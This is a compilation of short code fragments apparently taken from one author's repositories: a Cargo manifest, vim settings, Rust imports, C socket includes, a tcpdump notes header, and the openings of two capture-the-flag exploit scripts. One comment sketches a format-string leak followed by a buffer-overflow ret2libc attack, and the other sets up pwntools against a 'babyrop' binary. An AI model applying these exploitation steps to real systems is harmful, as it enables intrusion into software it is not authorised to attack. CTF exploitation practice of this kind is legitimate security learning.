Babidiii

[package]
name = "bonsai-test-view"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
derive-where= "1.0.0-rc.2"
serde={version="1.0.137", features=["derive"]}
bonsaidb = { version = "0.4", features = ["local"] }

Babidiii

" ----------------------------------------------------------------------------
"  - Default Settings
" ----------------------------------------------------------------------------
set path+=**
set wildmenu
filetype indent plugin on
syntax on
set nocompatible
set nowrap
set tabstop=2 softtabstop=2

Babidiii

use std::fmt::Debug;

use bonsaidb::{
    core::{
        connection::StorageConnection,
        document::HasHeader,
        schema::{Collection, Schema, SerializedCollection},
    },
    local::{
        config::{Builder, StorageConfiguration},

Babidiii

# First, you leak 4 addresses from the stack with %p because the binary use printf.
# The second address is _IO_2_1_stdin_ and the third is the address of _IO_file_setbuf+7. 
# Than from this addresses, you get the libc from here https://libc.blukat.me/. 
# After downloading the libc6-i386_2.28-10_amd64.so it's just a buffer overlow + ret2libc.

#!/usr/bin/env python3

from pwnlib.elf.elf import ELF

import socket

Babidiii

from pwn import * 

context.log_level = 'DEBUG' 

# context.arch = "amd64"
# elf=ELF("./babyrop")
p=process("./babyrop")

offset = 192
plt_put = p64(0x4011a9) # PLT put address 

Babidiii

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/types.h>   // pbly not needed in linux see man
#include <sys/socket.h>

Babidiii

title	author	date	export_on_save
tcpdump	Guillaumie Bilal	September 17 2020	html true